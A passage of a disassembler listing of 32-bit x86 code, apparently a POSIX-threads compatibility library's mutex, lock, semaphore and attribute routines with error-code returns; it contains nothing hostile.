add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43262D: ; CODE XREF: ___:004325DAj
; ___:0043261Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43263A: ; CODE XREF: ___:00432589j
; ___:00432593j ...
mov eax, 16h
loc_43263F: ; CODE XREF: ___:004325AEj
; ___:004325CAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432690: ; CODE XREF: ___:00401FD2j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_432771
mov eax, [esi]
test eax, eax
jz loc_432771
cmp eax, 0FFFFFFFFh
jnz short loc_4326C4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4326C4
cmp eax, 10h
jnz loc_432776
loc_4326C4: ; CODE XREF: ___:004326ACj
; ___:004326B9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432771
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz loc_432776
lea ebx, [esi+4]
push ebx
call sub_40177B
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432709
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_432776
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432709: ; CODE XREF: ___:004326F4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_432759
mov eax, [esi+14h]
test eax, eax
jle short loc_432726
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432726: ; CODE XREF: ___:00432715j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_432764
push ebx
call sub_4010C3
add esp, 4
mov edi, eax
test edi, edi
push esi
jz short loc_43274B
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43274B: ; CODE XREF: ___:0043273Bj
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_43275E
loc_432759: ; CODE XREF: ___:0043270Ej
mov edi, 10h
loc_43275E: ; CODE XREF: ___:00432757j
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432764: ; CODE XREF: ___:0043272Bj
mov eax, edi
mov dword ptr [esi+10h], 1
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432771: ; CODE XREF: ___:00432699j
; ___:004326A3j ...
mov eax, 16h
loc_432776: ; CODE XREF: ___:004326BEj
; ___:004326DEj ...
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4327C0: ; CODE XREF: ___:00401BF9j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_4327D7
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_4327D7: ; CODE XREF: ___:004327CFj
mov eax, [esp+8]
neg eax
sbb eax, eax
and eax, 30h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432800: ; CODE XREF: ___:00401E97j
mov eax, [esp+4]
push eax
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432827
mov eax, [esp+8]
test eax, eax
jz short loc_432827
cmp eax, 2
jbe short loc_432827
mov dword ptr [eax], 0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432827: ; CODE XREF: ___:0043280Fj
; ___:00432817j ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432840: ; CODE XREF: ___:0040117Cj
push ebx
mov ebx, [esp+8]
push esi
push edi
push ebx
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432886
mov edi, [esp+14h]
test edi, edi
jz short loc_432886
mov esi, [edi]
push eax
call sub_40154B
add esp, 4
cmp esi, eax
jl short loc_432886
push 0
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432886
mov eax, [ebx]
mov ecx, [edi]
pop edi
pop esi
mov [eax+10h], ecx
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432886: ; CODE XREF: ___:00432852j
; ___:0043285Aj ...
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328B0: ; CODE XREF: ___:00401EDDj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_4328D5
mov eax, [esp+0Ch]
test eax, eax
jz short loc_4328D5
mov ecx, [esi]
pop esi
mov edx, [ecx+10h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4328D5: ; CODE XREF: ___:004328C0j
; ___:004328C8j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4328F0: ; CODE XREF: ___:004015B4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_432909
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432909: ; CODE XREF: ___:00432900j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_43291D
cmp eax, 1
jz short loc_43291D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_43291D: ; CODE XREF: ___:0043290Fj
; ___:00432914j
mov ecx, [esi]
pop esi
mov [ecx+14h], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:004019D8j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jnz short loc_432965
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432965
mov ecx, [esi]
pop esi
mov edx, [ecx+14h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432965: ; CODE XREF: ___:00432950j
; ___:00432958j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432980 proc near ; CODE XREF: sub_401050j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_4329C5
mov eax, [esp+4+arg_4]
test eax, eax
jl short loc_4329C0
cmp eax, 2
jg short loc_4329C0
test eax, eax
jz short loc_4329AC
mov eax, 30h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329AC: ; CODE XREF: sub_432980+23j
mov eax, [esp+4+arg_8]
mov ecx, [eax]
push ecx
push 0
push esi
call sub_4020B3
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_4329C0: ; CODE XREF: sub_432980+1Aj
; sub_432980+1Fj
mov eax, 16h
loc_4329C5: ; CODE XREF: sub_432980+12j
pop esi
retn
sub_432980 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4329F0 proc near ; CODE XREF: sub_4020B3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
push edi
mov [esp+0Ch+arg_8], esi
call sub_40154B
add esp, 4
cmp esi, eax
jl loc_432A95
push edi
call sub_401438
add esp, 4
cmp esi, eax
jg short loc_432A95
cmp esi, 0FFFFFFF1h
jle short loc_432A30
cmp esi, 0FFFFFFFEh
jge short loc_432A30
mov [esp+8+arg_8], 0FFFFFFFEh
jmp short loc_432A42
; ---------------------------------------------------------------------------
loc_432A30: ; CODE XREF: sub_4329F0+2Fj
; sub_4329F0+34j
cmp esi, 0Fh
jge short loc_432A42
cmp esi, 2
jle short loc_432A42
mov [esp+8+arg_8], 2
loc_432A42: ; CODE XREF: sub_4329F0+3Ej
; sub_4329F0+43j ...
mov edi, [esp+8+arg_0]
push ebx
push ebp
lea ebp, [edi+24h]
push ebp
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_432A8E
mov eax, [esp+10h+arg_8]
mov ecx, [edi+4]
push eax
push ecx
call near ptr 2740684h
nop
test eax, eax
jnz short loc_432A82
push ebp
mov ebx, 16h
call sub_4010C3
add esp, 4
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A82: ; CODE XREF: sub_4329F0+7Bj
push ebp
mov [edi+28h], esi
call sub_4010C3
add esp, 4
loc_432A8E: ; CODE XREF: sub_4329F0+68j
mov eax, ebx
pop ebp
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432A95: ; CODE XREF: sub_4329F0+19j
; sub_4329F0+2Aj
pop edi
mov eax, 16h
pop esi
retn
sub_4329F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AD0 proc near ; CODE XREF: sub_40218Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push 0
push esi
call sub_401758
add esp, 8
test eax, eax
jnz short loc_432B09
mov ecx, [esp+4+arg_4]
cmp ecx, 2
jbe short loc_432B04
mov eax, [esp+4+arg_8]
test eax, eax
jz short loc_432B04
mov dword ptr [ecx], 0
mov ecx, [esi+28h]
mov [eax], ecx
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_432B04: ; CODE XREF: sub_432AD0+1Bj
; sub_432AD0+23j
mov eax, 16h
loc_432B09: ; CODE XREF: sub_432AD0+12j
pop esi
retn
sub_432AD0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B20 proc near ; CODE XREF: sub_401438j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B33
cmp eax, 2
jg short loc_432B33
mov eax, 0Fh
retn
; ---------------------------------------------------------------------------
loc_432B33: ; CODE XREF: sub_432B20+6j
; sub_432B20+Bj
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432B60 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jl short loc_432B73
cmp eax, 2
jg short loc_432B73
mov eax, 0FFFFFFF1h
retn
; ---------------------------------------------------------------------------
loc_432B73: ; CODE XREF: sub_432B60+6j
; sub_432B60+Bj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_432B60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432BA0: ; CODE XREF: ___:00401AC8j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432BE5
call near ptr 2740650h
nop
cmp esi, eax
jz short loc_432BE5
push esi
push 0
push 200h
call near ptr 2790000h
nop
test eax, eax
jnz short loc_432BE5
nop
call near ptr 27C07D9h
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BE5: ; CODE XREF: ___:00432BA7j
; ___:00432BB1j ...
mov eax, [esp+0Ch]
test eax, eax
jz short loc_432BFE
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432BFE: ; CODE XREF: ___:00432BEBj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432C30: ; CODE XREF: ___:0040150Aj
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_432C75
call near ptr 2740650h
nop
cmp esi, eax
jz short loc_432C75
push esi
push 0
push 400h
call near ptr 2790000h
nop
test eax, eax
jnz short loc_432C75
nop
call near ptr 27C07D9h
mov esi, eax
sub esi, 5
neg esi
sbb esi, esi
and esi, 2
inc esi
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432C75: ; CODE XREF: ___:00432C37j
; ___:00432C41j ...
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432CA0: ; CODE XREF: ___:00401B4Aj
push 0
call near ptr 28402DAh
nop
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432CC0 proc near ; CODE XREF: sub_401C76j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
xor edi, edi
test eax, eax
jz short loc_432CDF
mov edi, 1
nop
call near ptr 77C1F2BCh
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432CDF: ; CODE XREF: sub_432CC0+Aj
push 4
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432CF7
mov edi, 0Ch
loc_432CF7: ; CODE XREF: sub_432CC0+30j
mov eax, [esp+8+arg_8]
push 0
push 3FFFFFFFh
push eax
push 0
nop
call near ptr 2740000h
test eax, eax
mov [esi], eax
jnz short loc_432D24
mov edi, 1Ch
call near ptr 77C1F2BCh
nop
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D24: ; CODE XREF: sub_432CC0+4Fj
test edi, edi
jz short loc_432D36
call near ptr 77C1F2BCh
nop
mov [eax], edi
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432D36: ; CODE XREF: sub_432CC0+66j
mov ecx, [esp+8+arg_0]
pop edi
xor eax, eax
mov [ecx], esi
pop esi
retn
sub_432CC0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432D80 proc near ; CODE XREF: sub_401686j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_432DA5
mov esi, [edi]
test esi, esi
jz short loc_432DA5
mov dword ptr [edi], 0
mov eax, [esi]
push eax
nop
call near ptr 2850000h
test eax, eax
jnz short loc_432DB7
mov [edi], esi
loc_432DA5: ; CODE XREF: sub_432D80+8j
; sub_432D80+Ej
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432DB7: ; CODE XREF: sub_432D80+21j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_432D80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DF0 proc near ; CODE XREF: sub_4010A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E23
mov eax, [eax]
test eax, eax
jz short loc_432E23
mov eax, [eax]
push 0
push eax
nop
call near ptr 27704C8h
cmp eax, 102h
jnz short loc_432E35
mov esi, 0Bh
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E23: ; CODE XREF: sub_432DF0+7j
; sub_432DF0+Dj
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E35: ; CODE XREF: sub_432DF0+1Fj
xor eax, eax
pop esi
retn
sub_432DF0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E60 proc near ; CODE XREF: sub_401041j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_432E8D
mov eax, [eax]
test eax, eax
jz short loc_432E8D
mov eax, [eax]
push eax
call sub_401640
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432E8D: ; CODE XREF: sub_432E60+7j
; sub_432E60+Dj
mov esi, 16h
nop
call near ptr 77C1F2BCh
mov [eax], esi
or eax, 0FFFFFFFFh
pop esi
retn
sub_432E60 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401898j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 0Ch
push ebp
mov ebp, [esp+10h+arg_0]
test ebp, ebp
push esi
jnz short loc_432EF3
mov esi, 16h
call near ptr 77C1F2BCh
nop
mov [eax], esi
pop esi
or eax, 0FFFFFFFFh
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432EF3: ; CODE XREF: sub_432ED0+Bj
push ebx
push edi
mov edi, [esp+1Ch+arg_4]
test edi, edi
jnz short loc_432F02
or ebx, 0FFFFFFFFh
jmp short loc_432F61
; ---------------------------------------------------------------------------
loc_432F02: ; CODE XREF: sub_432ED0+2Bj
lea eax, [esp+1Ch+var_C]
xor ebx, ebx
push eax
call near ptr 77C49113h
nop
mov ecx, [edi]
mov esi, [esp+20h+var_C]
add esp, 4
cmp ecx, esi
jl short loc_432F61
mov edx, [edi+4]
mov eax, 431BDE83h
add edx, 7A120h
mul edx
lea eax, [ecx+ecx*4]
lea ecx, [esi+esi*4]
shr edx, 12h
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
lea eax, [eax+eax*4]
lea ecx, [ecx+ecx*4]
shl ecx, 3
lea eax, [edx+eax*8]
sub eax, ecx
mov ecx, [esp+1Ch+var_8]
and ecx, 0FFFFh
cmp eax, ecx
jbe short loc_432F61
sub eax, ecx
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_432F61
dec ebx
loc_432F61: ; CODE XREF: sub_432ED0+30j
; sub_432ED0+4Aj ...
mov edx, [ebp+0]
push ebx
mov eax, [edx]
push eax
call sub_401D70
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 8
dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h)
dd 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_432FE0 proc near ; CODE XREF: sub_40103Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
test eax, eax
jz short loc_432FFF
mov eax, [eax]
push 0
push 1
push eax
call near ptr 2730D62h
nop
test eax, eax
jnz short loc_43300F
loc_432FFF: ; CODE XREF: sub_432FE0+6j
; sub_432FE0+Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_43300F: ; CODE XREF: sub_432FE0+1Dj
xor eax, eax
retn
sub_432FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433030 proc near ; CODE XREF: sub_40204Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_433056
mov eax, [eax]
test eax, eax
jz short loc_433056
mov ecx, [esp+arg_4]
test ecx, ecx
jle short loc_433056
mov eax, [eax]
push 0
push ecx
push eax
call near ptr 2730D62h
nop
test eax, eax
jnz short loc_433066
loc_433056: ; CODE XREF: sub_433030+6j
; sub_433030+Cj ...
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_433066: ; CODE XREF: sub_433030+24j
xor eax, eax
retn
sub_433030 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433080: ; CODE XREF: ___:00401433j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jz short loc_4330CD
mov esi, [eax]
test esi, esi
jz short loc_4330CD
mov edi, [esp+10h]
test edi, edi
jz short loc_4330CD
mov eax, [esi]
push 0
push eax
nop
call near ptr 27704C8h
cmp eax, 102h
jnz short loc_4330B1
xor eax, eax
mov [edi], eax
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330B1: ; CODE XREF: ___:004330A8j
mov edx, [esi]
lea ecx, [esp+0Ch]
push ecx
push 1
push edx
nop
call near ptr 2730D62h
mov eax, [esp+0Ch]
inc eax
mov [edi], eax
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4330CD: ; CODE XREF: ___:00433088j
; ___:0043308Ej ...
call near ptr 77C1F2BCh
nop
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433100: ; CODE XREF: ___:0040220Cj
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433120: ; CODE XREF: ___:00402013j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433140: ; CODE XREF: ___:00401CB2j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 28h
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433160 proc near ; CODE XREF: sub_401992j
arg_0 = dword ptr 4
push esi
push offset dword_50E960
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_433194
push esi
push ecx
call sub_4021EE
add esp, 8
mov esi, eax
push offset dword_50E960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_433194: ; CODE XREF: sub_433160+17j
test eax, eax
jnz short loc_43319D
mov esi, 16h
loc_43319D: ; CODE XREF: sub_433160+36j
push offset dword_50E960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_433160 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4331D0 proc near ; CODE XREF: sub_4021EEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
mov ebp, [esp+0Ch+arg_0]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov [esp+14h+var_4], edi
jnz short loc_4331EE
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4331EE: ; CODE XREF: sub_4331D0+11j
lea eax, [esp+14h+var_4]
push eax
call sub_401C26
mov ebx, [esp+18h+arg_4]
add esp, 4
test eax, eax
jz short loc_433229
mov [esp+14h+var_4], 1
loc_43320B: ; CODE XREF: sub_4331D0+5Ej
; sub_4331D0+63j
push 8
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_433240
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433229: ; CODE XREF: sub_4331D0+31j
cmp [esp+14h+var_4], 1
jle short loc_43320B
cmp ebx, 1
jnz short loc_43320B
pop edi
pop esi
pop ebp
mov eax, 28h
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_433240: ; CODE XREF: sub_4331D0+4Cj
mov eax, [esp+14h+var_4]
cmp eax, 1
jle short loc_43325D
mov [esi+4], eax
mov dword ptr [esi], 1
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43325D: ; CODE XREF: sub_4331D0+77j
lea ecx, [esp+14h+arg_0]
push ecx
call sub_401A0F
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_433293
mov edx, [esp+14h+arg_0]
lea eax, [esp+14h+arg_0]
lea ecx, [esi+4]
push eax
push ecx
mov [edx], ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_433293
mov dword ptr [esi], 3
loc_433293: ; CODE XREF: sub_4331D0+9Ej
; sub_4331D0+BBj
lea edx, [esp+14h+arg_0]
push edx
call sub_4010AA
add esp, 4
test edi, edi
jnz short loc_4332AF
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4332AF: ; CODE XREF: sub_4331D0+D2j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, edi
mov dword ptr [ebp+0], 0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4331D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433310: ; CODE XREF: ___:00401109j
push ebx
push esi
push edi
mov edi, [esp+10h]
xor ebx, ebx
test edi, edi
jz loc_4333B5
mov esi, [edi]
test esi, esi
jz loc_4333B5
cmp esi, 0FFFFFFFFh
jz short loc_433378
cmp dword ptr [esi], 3
jnz short loc_43335D
lea eax, [esi+4]
push eax
call sub_40222F
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4333AF
loc_433347: ; CODE XREF: ___:0043336Bj
push esi
mov dword ptr [edi], 0
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43335D: ; CODE XREF: ___:00433333j
push 1
push 0
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 1
jz short loc_433347
mov ebx, 16h
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433378: ; CODE XREF: ___:0043332Ej
push offset dword_50E960
call near ptr 7C901005h
nop
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_43339F
push offset dword_50E960
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43339F: ; CODE XREF: ___:00433386j
push offset dword_50E960
mov ebx, 10h
nop
call near ptr 7C9010EDh
loc_4333AF: ; CODE XREF: ___:00433345j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4333B5: ; CODE XREF: ___:0043331Bj
; ___:00433325j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4333F0: ; CODE XREF: ___:004021C1j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_433451
mov eax, [esi]
test eax, eax
jz short loc_433451
cmp eax, 0FFFFFFFFh
jnz short loc_433411
push esi
call sub_401992
add esp, 4
test eax, eax
jnz short loc_433456
loc_433411: ; CODE XREF: ___:00433402j
mov esi, [esi]
push 1
push 2
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 2
jnz short loc_433433
loc_433423: ; CODE XREF: ___:00433431j
push 1
push 2
push esi
call dword_50E3EC ; InterlockedCompareExchange
cmp eax, 2
jz short loc_433423
loc_433433: ; CODE XREF: ___:00433421j
mov eax, [esi]
cmp eax, 2
jnz short loc_43343E
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_43343E: ; CODE XREF: ___:00433438j
cmp eax, 3
jnz short loc_433451
add esi, 4
push esi
call sub_402225
add esp, 4
pop esi
retn
; ---------------------------------------------------------------------------
loc_433451: ; CODE XREF: ___:004333F7j
; ___:004333FDj ...
mov eax, 16h
loc_433456: ; CODE XREF: ___:0043340Fj
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433480: ; CODE XREF: ___:00401AA5j
mov eax, [esp+4]
push esi
test eax, eax
jz short loc_4334C1
mov esi, [eax]
test esi, esi
jz short loc_4334C1
cmp esi, 0FFFFFFFFh
jnz short loc_43349B
loc_433494: ; CODE XREF: ___:004334A7j
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_43349B: ; CODE XREF: ___:00433492j
push 2
push 1
push esi
